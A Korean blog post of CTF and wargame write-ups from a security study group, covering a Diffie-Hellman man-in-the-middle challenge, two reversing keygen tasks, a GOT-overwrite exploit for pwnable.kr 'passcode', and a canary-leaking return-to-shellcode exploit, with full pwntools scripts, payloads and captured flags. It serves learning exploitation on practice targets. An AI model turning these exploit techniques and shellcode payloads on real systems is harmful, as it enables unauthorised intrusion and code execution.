[CAUTION] 스터디 - 11

May 16, 2022 13 분 소요

💡 Caution 스터디 11회차

암호학 - 1

#!/usr/bin/python3
from Cryptodome.Util.number import getPrime
from Cryptodome.Util.Padding import pad, unpad
from Cryptodome.Cipher import AES
import hashlib
import random

class Person(object):
    def __init__(self, p):
        self.p = p
        self.g = 2
        self.x = random.randint(2, self.p - 1)
    
    def calc_key(self):
        self.k = pow(self.g, self.x, self.p)
        return self.k

    def set_shared_key(self, k):
        self.sk = pow(k, self.x, self.p)
        aes_key = hashlib.md5(str(self.sk).encode()).digest()
        self.cipher = AES.new(aes_key, AES.MODE_ECB)

    def encrypt(self, pt):
        return self.cipher.encrypt(pad(pt, 16)).hex()

    def decrypt(self, ct):
        return unpad(self.cipher.decrypt(bytes.fromhex(ct)), 16)

flag = open("flag", "r").read().encode()
prime = getPrime(1024)
print(f"Prime: {hex(prime)}")
alice = Person(prime)
bob = Person(prime)

alice_k = alice.calc_key()
print(f"Alice sends her key to Bob. Key: {hex(alice_k)}")
print("Let's inturrupt !")
alice_k = int(input(">> "))
if alice_k == alice.g:
    exit("Malicious key !!")
bob.set_shared_key(alice_k)

bob_k = bob.calc_key()
print(f"Bob sends his key to Alice. Key: {hex(bob_k)}")
print("Let's inturrupt !")
bob_k = int(input(">> "))
if bob_k == bob.g:
    exit("Malicious key !!")
alice.set_shared_key(bob_k)

print("They are sharing the part of flag")
print(f"Alice: {alice.encrypt(flag[:len(flag) // 2])}")
print(f"Bob: {bob.encrypt(flag[len(flag) // 2:])}")

디피 헬만의 중간자 공격을 이용하여 플래그를 획득하는 문제이다.

전체 공격 프로세스는 다음과 같다.

attacker는 중간에서 alice가 bob에게 보내는 2^a mod p를 받는다. 그리고 이 값을 저장한다.
attacker는 alice에게 메시지를 받고 bob에게는 2^5 mod p를 전송한다.bob은 attacker에게 받은 2^5 mod p를 통해서 (2^5)b mod p를 계산하여 attacker <-> bob의 공유키를 계산해 낸다.
bob은 2^b mod p 를 전송한다. attacker는 이를 받고 attacker <-> bob의 공유키인 (2^b)^5 mod p 를 계산하여 공유키를 구한다.
마지막으로 attacker는 alice에게 2^5 mod p 를 전송하여 attacker <-> alice는 (2^a)^5 mod p 를 공유키로 계산한다.

이렇게 하여 그림과 같이 Attacker <=> alice, Attacker <=> bob 간에 통신이 되는 것이며 이와같은 취약점이 발생하는 이유는 디피 헬만의 약점인 지금 키 교환을 하는 상대가 진짜 그 상대인지를 확인하는 ‘인증’기능이 없기 때문이다.

위의 절차대로 코드를 작성하면 다음과 같다.

sol.py

#!/usr/bin/python3
from pwn import *

from Cryptodome.Util.number import getPrime
from Cryptodome.Util.Padding import pad, unpad
from Cryptodome.Cipher import AES
import hashlib
import random

class Person(object):
    def __init__(self, p):
        self.p = p
        self.g = 2
        self.x = 5
    
    def calc_key(self):
        self.k = pow(self.g, self.x, self.p)
        return self.k

    def set_shared_key(self, k):
        self.sk = pow(k, self.x, self.p)
        aes_key = hashlib.md5(str(self.sk).encode()).digest()
        self.cipher = AES.new(aes_key, AES.MODE_ECB)

    def encrypt(self, pt):
        return self.cipher.encrypt(pad(pt, 16)).hex()

    def decrypt(self, ct):
        return unpad(self.cipher.decrypt(bytes.fromhex(ct)), 16)

p = remote("host1.dreamhack.games",17625)
# context.log_level = 10

# get prime
p.recvuntil(b"Prime: ")
prime = int(p.recvline()[:-1],16)

attacker_Alice = Person(prime)
attacker_Bob = Person(prime)

# set key Attacker <=> Alice
p.recvuntil(b"Alice sends her key to Bob. Key: ")
alice_public = int(p.recvline()[:-1],16)
attacker_Alice.set_shared_key(alice_public)

p.sendafter(b">> ",b'32\n')

# set key Attacker <=> Bob
p.recvuntil(b"Bob sends his key to Alice. Key: ")
bob_public = int(p.recvline()[:-1],16)
attacker_Bob.set_shared_key(bob_public)

p.sendafter(b">> ",b'32\n')

# decrypt flag
p.recvuntil(b"Alice: ")
alice_encrypt_message = p.recvline()[:-1].decode()
p.recvuntil(b"Bob: ")
bob_encrypt_message = p.recvline()[:-1].decode()

flag=''
flag = attacker_Alice.decrypt(alice_encrypt_message)
flag += attacker_Bob.decrypt(bob_encrypt_message)

print("FLAG : {}".format(flag))

실행하면 다음과같이 플래그를 구할 수 있다.

리버싱 - 1

Keygen

프로그램을 시작해 보면 다음과 같이 Input flag를 입력하라고 나온다.

IDA로 Input flag를 텍스트로 찾아본다.[Search] -> [text]

해당 텍스트를 참조하고 있는 함수를 분석 해본다.

__int64 sub_1400011C0()
{
  signed int i; // [rsp+20h] [rbp-48h]
  char Buf2; // [rsp+28h] [rbp-40h]
  char v3; // [rsp+29h] [rbp-3Fh]
  char v4; // [rsp+2Ah] [rbp-3Eh]
  char v5; // [rsp+2Bh] [rbp-3Dh]
  char v6; // [rsp+2Ch] [rbp-3Ch]
  char v7; // [rsp+2Dh] [rbp-3Bh]
  char v8; // [rsp+2Eh] [rbp-3Ah]
  char v9; // [rsp+2Fh] [rbp-39h]
  char v10; // [rsp+30h] [rbp-38h]
  char v11; // [rsp+31h] [rbp-37h]
  char v12; // [rsp+32h] [rbp-36h]
  char v13; // [rsp+33h] [rbp-35h]
  char v14; // [rsp+34h] [rbp-34h]
  char v15; // [rsp+35h] [rbp-33h]
  char v16; // [rsp+36h] [rbp-32h]
  char v17; // [rsp+37h] [rbp-31h]
  char v18; // [rsp+38h] [rbp-30h]
  char v19; // [rsp+39h] [rbp-2Fh]
  char v20; // [rsp+3Ah] [rbp-2Eh]
  char v21; // [rsp+3Bh] [rbp-2Dh]
  char v22; // [rsp+3Ch] [rbp-2Ch]
  char Buf1[24]; // [rsp+40h] [rbp-28h]

  Buf2 = 63;
  v3 = 59;
  v4 = 70;
  v5 = 74;
  v6 = 68;
  v7 = 110;
  v8 = 118;
  v9 = 56;
  v10 = 100;
  v11 = 119;
  v12 = 56;
  v13 = 108;
  v14 = 82;
  v15 = 117;
  v16 = 108;
  v17 = 121;
  v18 = 82;
  v19 = 109;
  v20 = 109;
  v21 = 116;
  v22 = 0;
  memset(Buf1, 0, 0x15ui64);
  sub_140001070(aS_1, aInputFlag);
  sub_140001140(aS, Buf1);
  for ( i = 0; i < 20; ++i )
  {
    Buf1[i] ^= 0x11u;
    Buf1[i] ^= 0x1Bu;
    Buf1[i] -= 3;
  }
  if ( !memcmp(Buf1, &Buf2, 0x14ui64) )
    sub_140001070(aS_0, aGoodThisIsFlag);
  else
    sub_140001070(&unk_140004038, aNoThisIsNotFla);
  return 0i64;
}

뭔가 길어 보이지만, 옆에 rbp를 기준으로 스택을 분석해보면,v3 ~ v22 까지는 전부 buf2주소에서 시작하는 문자열 임을 알 수 있다. 따라서 코드를 다음과 같이 줄일 수 있다.

__int64 sub_1400011C0()
{
  signed int i; // [rsp+20h] [rbp-48h]
  char Buf2; // [rsp+28h] [rbp-40h] // 초기화. 위 참조

  memset(Buf1, 0, 0x15ui64);
  sub_140001070(aS_1, aInputFlag);
  sub_140001140(aS, Buf1);

  // 위에 3개가 buf1에 사용자 input을 담는 함수

  for ( i = 0; i < 20; ++i )
  {
    Buf1[i] ^= 0x11u;
    Buf1[i] ^= 0x1Bu;
    Buf1[i] -= 3;
  }

  // for문을 돌면서 buf1 20개에 대해 연산 수행

  if ( !memcmp(Buf1, &Buf2, 0x14ui64) )
    // 연산이 끝난 buf1과 buf2의 결과가 같으면 Clear
    sub_140001070(aS_0, aGoodThisIsFlag);
  else
    sub_140001070(&unk_140004038, aNoThisIsNotFla);
  return 0i64;
}

사용자 input에 대해서 for문 연산을 수행하고, 그 결과를 buf2와 같은지 비교하는 로직이다.

현재 buf2 배열의 값은 알기 때문에 for문 연산을 거꾸로 buf2에 적용하면, buf1 값을 알 수 있다.

buf2 = [63,59,70,74,68,110,118,56,100,119,56,108,82,117,108,121,82,109,109,116]
buf1 = ''

for i in buf2:
    tmp = i + 3
    tmp ^= 27
    tmp ^= 17
    buf1 += chr(tmp)


for i in buf1:
    print(i,end='')

실행하면 다음과 같이 플래그를 획득할 수 있다.

리버싱 - 2

rev-basic-1

프로그램을 시작하면 사용자 input을 받는다.

IDA를 켜서 Input 문자열을 찾는다. [Search] -> [Text]

해당 문자열을 참조하고 있는 함수 sub_140001350을 보면 다음과 같다.

__int64 sub_140001350()
{
  char v1; // [rsp+20h] [rbp-118h]

  memset(&v1, 0, 0x100ui64);
  sub_1400013E0("Input : ");
  sub_140001440("%256s", &v1);
  if ( (unsigned int)sub_140001000(&v1) )
    puts("Correct");
  else
    puts("Wrong");
  return 0i64;
}

v1에 input을 저장하고, sub_140001000 함수에 v1을 넘겨준 다음 그 결과가 true면 correct를 출력한다.

sub_140001000 함수는 다음과 같다.

_BOOL8 __fastcall sub_140001000(_BYTE *a1)
{
  if ( *a1 != 67 )
    return 0i64;
  if ( a1[1] != 111 )
    return 0i64;
  if ( a1[2] != 109 )
    return 0i64;
  if ( a1[3] != 112 )
    return 0i64;
  if ( a1[4] != 97 )
    return 0i64;
  if ( a1[5] != 114 )
    return 0i64;
  if ( a1[6] != 51 )
    return 0i64;
  if ( a1[7] != 95 )
    return 0i64;
  if ( a1[8] != 116 )
    return 0i64;
  if ( a1[9] != 104 )
    return 0i64;
  if ( a1[10] != 101 )
    return 0i64;
  if ( a1[11] != 95 )
    return 0i64;
  if ( a1[12] != 99 )
    return 0i64;
  if ( a1[13] != 104 )
    return 0i64;
  if ( a1[14] != 52 )
    return 0i64;
  if ( a1[15] != 114 )
    return 0i64;
  if ( a1[16] != 97 )
    return 0i64;
  if ( a1[17] != 99 )
    return 0i64;
  if ( a1[18] != 116 )
    return 0i64;
  if ( a1[19] != 51 )
    return 0i64;
  if ( a1[20] == 114 )
    return a1[21] == 0;
  return 0i64;
}

단순히 배열의 인덱스에 해당하는 값이 같은지만 비교하고 있다. 위의 내용을 파이썬 코드로 작성하면 다음과 같다.

a1 = [67,111,109,112,97,114,51,95,116,104,101,95,99,104,52,114,97,99,116,51,114]

for i in a1:
    print(chr(i),end='')

실행하면 플래그를 획득할 수 있다.

시스템 - 1

passcode

#include <stdio.h>
#include <stdlib.h>

void login(){
        int passcode1;
        int passcode2;

        printf("enter passcode1 : ");
        scanf("%d", passcode1);
        fflush(stdin);

        // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
        printf("enter passcode2 : ");
        scanf("%d", passcode2);

        printf("checking...\n");
        if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
                exit(0);
        }
}

void welcome(){
        char name[100];
        printf("enter you name : ");
        scanf("%100s", name);
        printf("Welcome %s!\n", name);
}

int main(){
        printf("Toddler's Secure Login System 1.0 beta.\n");

        welcome();
        login();

        // something after login...
        printf("Now I can safely trust you that you have credential :)\n");
        return 0;
}

코드를 보면 login 함수의 다음 부분이 잘못 코딩되었다.

- printf("enter passcode1 : ");
- scanf("%d", passcode1);
- fflush(stdin);

원래 정상적으로 scanf 함수를 이용하려면, 변수의 주소값을 넘겨 주기 위해서 &passcode1과 같이 변수를 넘겨줘야 한다. 하지만 현재 문제에서는 passcode1로 변수를 넘겨주고 있다. 이렇게 되면 어떻게 작동할까?

메모리 상에 passcode변수의 주소가 0xaabb, 들어있는 값이 0xccdd라고 하자.

기존 scanf 함수를 사용하면, 0xaabb 주소에 사용자가 입력한 값이 들어가게 된다. 하지만, 현재는 0xccdd 주소에 사용자가 입력한 값이 입력되는 것이다.

즉 초기화되지 않은 passcode1 주소에 존재하는 특정 값을 주소로 하여 접근하게 된다. 이 값을 평소에는 dummy값으로 취급하지만 정확하게는 이전에 사용된 값이 그대로 메모리에 남아있게 된다.

그렇다면 그림에서 0xaabb주소에 저장되는 값을 이전에 미리 접근 가능하다면, 그림에서 0xccdd가 아닌 내가 원하는 값을 메모리에 저장해두고 scanf로 해당 주소에 내가 원하는 값을 쓸 수 있게 된다.

main 함수를 보면 welcome() 함수를 호출하고 login()함수를 호출한다. 즉 welcome()함수에서 사용된 스택 공간과 login()함수에서 사용되는 스택 공간이 겹친다.

따라서 welcome()함수와 login()함수의 스택을 비교해야 한다.

먼저 welcome 함수를 디스어셈블 한 결과는 다음과 같다.

gdb-peda$ disass welcome
Dump of assembler code for function welcome:
   0x08048609 <+0>:     push   ebp
   0x0804860a <+1>:     mov    ebp,esp
   0x0804860c <+3>:     sub    esp,0x88     //총 136바이트 공간 사용
   0x08048612 <+9>:     mov    eax,gs:0x14
   0x08048618 <+15>:    mov    DWORD PTR [ebp-0xc],eax
   0x0804861b <+18>:    xor    eax,eax
   0x0804861d <+20>:    mov    eax,0x80487cb
   0x08048622 <+25>:    mov    DWORD PTR [esp],eax
   0x08048625 <+28>:    call   0x8048420 <printf@plt>
   0x0804862a <+33>:    mov    eax,0x80487dd
   0x0804862f <+38>:    lea    edx,[ebp-0x70] //ebp-112 주소가 name[100] 공간
   0x08048632 <+41>:    mov    DWORD PTR [esp+0x4],edx
   0x08048636 <+45>:    mov    DWORD PTR [esp],eax
   0x08048639 <+48>:    call   0x80484a0 <__isoc99_scanf@plt>
   0x0804863e <+53>:    mov    eax,0x80487e3
   0x08048643 <+58>:    lea    edx,[ebp-0x70]
   0x08048646 <+61>:    mov    DWORD PTR [esp+0x4],edx
   0x0804864a <+65>:    mov    DWORD PTR [esp],eax
   0x0804864d <+68>:    call   0x8048420 <printf@plt>
   0x08048652 <+73>:    mov    eax,DWORD PTR [ebp-0xc]
   0x08048655 <+76>:    xor    eax,DWORD PTR gs:0x14
   0x0804865c <+83>:    je     0x8048663 <welcome+90>
   0x0804865e <+85>:    call   0x8048440 <__stack_chk_fail@plt>
   0x08048663 <+90>:    leave
   0x08048664 <+91>:    ret
End of assembler dump.

gdb-peda$ disass login
Dump of assembler code for function login:
   0x08048564 <+0>:     push   ebp
   0x08048565 <+1>:     mov    ebp,esp
   0x08048567 <+3>:     sub    esp,0x28 //총 40바이트 공간
   0x0804856a <+6>:     mov    eax,0x8048770
   0x0804856f <+11>:    mov    DWORD PTR [esp],eax
   0x08048572 <+14>:    call   0x8048420 <printf@plt>
   0x08048577 <+19>:    mov    eax,0x8048783
   0x0804857c <+24>:    mov    edx,DWORD PTR [ebp-0x10]
   0x0804857f <+27>:    mov    DWORD PTR [esp+0x4],edx
   0x08048583 <+31>:    mov    DWORD PTR [esp],eax
   0x08048586 <+34>:    call   0x80484a0 <__isoc99_scanf@plt>
   0x0804858b <+39>:    mov    eax,ds:0x804a02c
   0x08048590 <+44>:    mov    DWORD PTR [esp],eax
   0x08048593 <+47>:    call   0x8048430 <fflush@plt>
   0x08048598 <+52>:    mov    eax,0x8048786
   0x0804859d <+57>:    mov    DWORD PTR [esp],eax
   0x080485a0 <+60>:    call   0x8048420 <printf@plt>
   0x080485a5 <+65>:    mov    eax,0x8048783
   0x080485aa <+70>:    mov    edx,DWORD PTR [ebp-0xc]
   0x080485ad <+73>:    mov    DWORD PTR [esp+0x4],edx
   0x080485b1 <+77>:    mov    DWORD PTR [esp],eax
   0x080485b4 <+80>:    call   0x80484a0 <__isoc99_scanf@plt>
   0x080485b9 <+85>:    mov    DWORD PTR [esp],0x8048799
   0x080485c0 <+92>:    call   0x8048450 <puts@plt>
   0x080485c5 <+97>:    cmp    DWORD PTR [ebp-0x10],0x528e6 //passcode1은 ebp-16
   0x080485cc <+104>:   jne    0x80485f1 <login+141>
   0x080485ce <+106>:   cmp    DWORD PTR [ebp-0xc],0xcc07c9 //passcode2는 ebp-12
   0x080485d5 <+113>:   jne    0x80485f1 <login+141>
   0x080485d7 <+115>:   mov    DWORD PTR [esp],0x80487a5
   0x080485de <+122>:   call   0x8048450 <puts@plt>
   0x080485e3 <+127>:   mov    DWORD PTR [esp],0x80487af
   0x080485ea <+134>:   call   0x8048460 <system@plt>
   0x080485ef <+139>:   leave
   0x080485f0 <+140>:   ret
   0x080485f1 <+141>:   mov    DWORD PTR [esp],0x80487bd
   0x080485f8 <+148>:   call   0x8048450 <puts@plt>
   0x080485fd <+153>:   mov    DWORD PTR [esp],0x0
   0x08048604 <+160>:   call   0x8048480 <exit@plt>
End of assembler dump.

디스어셈블 내용을 토대로 스택을 비교하면 다음과 같다. 두개의 함수에서 EBP 값은 서로 같다.

그림을 보면 알겠지만, Name[100]에서 작성된 마지막 4byte에 쓰여진 내용이 재사용되어 login()함수에서 입력되는 값의 주소가 되는 것을 볼 수있다.

따라서 Name[100]에 다음과 같이 작성하면 된다.

dummy[96] + "내가 변경하고 싶은 메모리 주소 4byte"

이렇게 설정해 주면 scanf에서 입력된 값이 내가 변경하고 싶은 메모리 주소에 값을 저장하게 된다.

그러면 이제 1) 어떠한 주소에 2) 어떠한 값을 넣어야 할 지 생각해 봐야한다.

PLT,GOT

login함수 내에서 scanf를 수행하고나서 fflush의 plt를 참조하여 got 테이블로 외부 라이브러리에서 실제 fflush 함수의 주소를 받아온다. 이를 이용해서 fflush의 got를 변경하여 fflush 함수가 아닌 다른 곳으로 프로그램의 수행을 변경시킨다.

   0x0804857c <+24>:    mov    edx,DWORD PTR [ebp-0x10]
   0x0804857f <+27>:    mov    DWORD PTR [esp+0x4],edx
   0x08048583 <+31>:    mov    DWORD PTR [esp],eax
   0x08048586 <+34>:    call   0x80484a0 <__isoc99_scanf@plt>
   0x0804858b <+39>:    mov    eax,ds:0x804a02c
   0x08048590 <+44>:    mov    DWORD PTR [esp],eax
   0x08048593 <+47>:    call   0x8048430 <fflush@plt>

fflush@plt를 수행하는 0x08048430부분을 보면 다음과 같다. 0x804a004에 저장된 값으로 jmp를 시도하고 있다. 여기서 0x804a0040가 fflush의 got이다.

gdb-peda$ x/4i 0x8048430
   0x8048430 <fflush@plt>:      jmp    DWORD PTR ds:0x804a004
   0x8048436 <fflush@plt+6>:    push   0x8
   0x804843b <fflush@plt+11>:   jmp    0x8048410
   0x8048440 <__stack_chk_fail@plt>:    jmp    DWORD PTR ds:0x804a008

아직 프로그램을 시작하기 전이기 때문에 got 테이블의 값을 출력해보면 0x8048436이다. 이는 fflush@plt+6 이다.

gdb-peda$ x/xw 0x804a004
0x804a004 <fflush@got.plt>:     0x08048436

즉 원래라면 fflush@plt를 처음 수행하면 got 테이블(0x804a004)에 저장된 plt+6(0x8048436) 으로 이동하여 수행이 계속된다.

하지만 이를 내가 원하는 곳으로 바꿔서 프로그램 흐름을 바꿀 수 있다.

   0x080485e3 <+127>:   mov    DWORD PTR [esp],0x80487af
   0x080485ea <+134>:   call   0x8048460 <system@plt>

본 코드와 비교를 해보면 다음의 코드를 수행하는 어셈블리 코드라고 추측할 수 있다.

system("/bin/cat flag");

0x80487af 주소에 담긴 값을 확인해 보니 “/bin/cat flag”가 맞다.

gdb-peda$ x/s 0x80487af
0x80487af:      "/bin/cat flag"

즉 만약 0x080485e3 부분으로 프로그램의 흐름을 바꾼다면,fflush가 수행되지 않고 바로 system(“/bin/cat flag”)가 수행되는 것이다.

exploit

이제 내용을 정리하여 exploit을 해보자

welcome() 함수에서 name[100]에 입력되는 값을 입력 받을 때, dummy[96] + “fflush의 got”주소를 입력해 준다.
scanf로 입력받을 때, 0x80485e3이 입력되게 해준다. 그러면 fflsh의 got에 해당 값이 입력되게 되고 fflush를 수행하면 0x80485e3부터 프로그램이 실행된다.

이때 scanf에서 입력받는 값은 %d로 저장하기 때문에 10진수로 바꿔서 입력해줘야 한다. 0x80485e3이 메모리에 저장되려면 10진수로는 134514147이다.

passcode@pwnable:~$ (python -c 'print("A"*96+"\x04\xa0\x04\x08")';cat) | ./passcode
Toddler\'s Secure Login System 1.0 beta.
enter you name : Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
134514147
Sorry mom.. I got confused about scanf usage :(
enter passcode1 : Now I can safely trust you that you have credential :)

flag는 다음과 같다.

Sorry mom.. I got confused about scanf usage :(

시스템 - 2

return to shellcode

이번 시스템 문제는 canary가 설정된 상태에서 bof 취약점을 이용하여 flag를 획득하는 문제이다.

#include <stdio.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

int main() {
  char buf[0x50];

  init();

  printf("Address of the buf: %p\n", buf);
  printf("Distance between buf and $rbp: %ld\n",
         (char*)__builtin_frame_address(0) - buf);

  printf("[1] Leak the canary\n");
  printf("Input: ");
  fflush(stdout);

  read(0, buf, 0x100);
  printf("Your input is '%s'\n", buf);

  puts("[2] Overwrite the return address");
  printf("Input: ");
  fflush(stdout);
  gets(buf);

  return 0;
}

기존에 bof 문제에서 canary값을 알아내어 이를 고려하여 ret를 덮어써야 한다.

우선 canary가 메모리상에 어떻게 위치하고 있는지를 알기 위해서 디스어셈블을 해본다.

gdb-peda$ disass main
Dump of assembler code for function main:
   0x00000000000008cd <+0>:	push   rbp
   0x00000000000008ce <+1>:	mov    rbp,rsp
   0x00000000000008d1 <+4>:	sub    rsp,0x60
   0x00000000000008d5 <+8>:	mov    rax,QWORD PTR fs:0x28  //rax에 canary 값 복사
   0x00000000000008de <+17>:	mov    QWORD PTR [rbp-0x8],rax  //rax를 rbp-8에 복사

   ... 생략

   0x0000555555554956 <+137>:	lea    rax,[rbp-0x60] // buf의 위치
   0x000055555555495a <+141>:	mov    edx,0x100
   0x000055555555495f <+146>:	mov    rsi,rax
   0x0000555555554962 <+149>:	mov    edi,0x0
   0x0000555555554967 <+154>:	call   0x555555554730 <read@plt>

메인함수를 디스어셈블 해보면 스택 프레임을 위해서 총 96byte를 할당하고 있고, canary word의 위치는 ebp-8이다.

그리고 canaryword는 기본적으로 읽기 방지를 위해서 가장 첫 byte가 ‘\x00’으로 시작하는 특징을 가지고 있다.

이를 그림으로 그려보면 다음과 같이 스택이 그려진다.

해당 문제에서 쉘을 획득하기 위해서는 다음의 과정이 필요하다.

Canary 값 알아내기
Shell code를 작성하여 buf에 담기
ret 주소를 buf 시작주소로 하여 쉘을 획득하기

Canary 값

문제에서 사용자가 입력한 값을 출력해 주기 때문에 canary값을 알아낼 수가 있다.

사용자가 buf,dummy를 덮을 88byte와 거기에 canary 값의 첫 바이트인 ‘\x00’까지 덮도록 하면 다음 함수에서 canary값을 읽고 그 뒤로 메모리에서 ‘\x00’을 읽을때까지 데이터를 출력해주기 때문이다.

  printf("Your input is '%s'\n", buf);

Shell code 작성

pwntools에서는 shellcraft를 이용하여 쉽게 쉘코드를 만들 수 있다. 아직은 내가 쉘코드를 스스로 만들 능력은 안되서,, 여기저기 사용법을 찾아봤더니 architecture만 지정해주면 바로 쉘코드 생성이 되었다.

아래는 쉘코드를 생성하고 buf에서 canary까지의 길이(88byte)중 부족 부분은 모두 ‘\x90’으로 채우는 코드이다.

context.arch = "amd64"
SHELLCODE = asm(shellcraft.sh()).ljust(buf2cnry,b"\x90")

Buf 주소

이 문제에서는 buf의 주소를 시작부분에서 주어진다. 따라서 리턴 주소를 buf의 시작주소로 바꿔준다.

이렇게 해서 스택을 다음과 같이 변조하면 쉘을 획득할 수 있다.

코드

pwntools를 이용한 전체 코드는 다음과 같다.

from pwn import *

p = remote("host1.dreamhack.games",13165)
# context.log_level=10

# 버퍼 주소
p.recvuntil("Address of the buf: ")
buf_addr = p.recvline()[:-1]
print("buf_addr : {}".format(buf_addr))

# Distance
p.recvuntil("Distance between buf and $rbp: ")
buf2ebp = int(p.recvline()[:-1])
print("buf to ebp : {}".format(buf2ebp))

# get Canary value
buf2cnry = buf2ebp - 8
print("buf to canary : {}".format(buf2cnry))

payload = b"A"*(buf2cnry+1)
p.sendafter("Input:",payload)

p.recvuntil(payload)
canary = b"\x00" + p.recvn(7)
print("canary : {}".format(canary))

# SHELLCODE Exploit
context.arch = "amd64"
SHELLCODE = asm(shellcraft.sh()).ljust(buf2cnry,b"\x90")

payload = ( SHELLCODE +                         # SHELLCODE
            canary +                      # canary_value
            b"B"*8 +
            p64(int(buf_addr,16))               # ret addr 변경. buf주소로
)

p.sendafter("Input: ",payload)

p.interactive()

flag : DH{333eb89c9d2615dd8942ece08c1d34d5}

Twitter Facebook LinkedIn

Kang MyoungSeok

[CAUTION] 스터디 - 11

암호학 - 1

리버싱 - 1

리버싱 - 2

시스템 - 1

PLT,GOT

exploit

시스템 - 2

Canary 값

Shell code 작성

Buf 주소

코드

공유하기

댓글남기기

참고

[Hack The Box] Photobomb 풀이

[Hack The Box] Squashed 풀이

[Hack The Box] Shoppy 풀이

[Hack The Box] Ambassador 풀이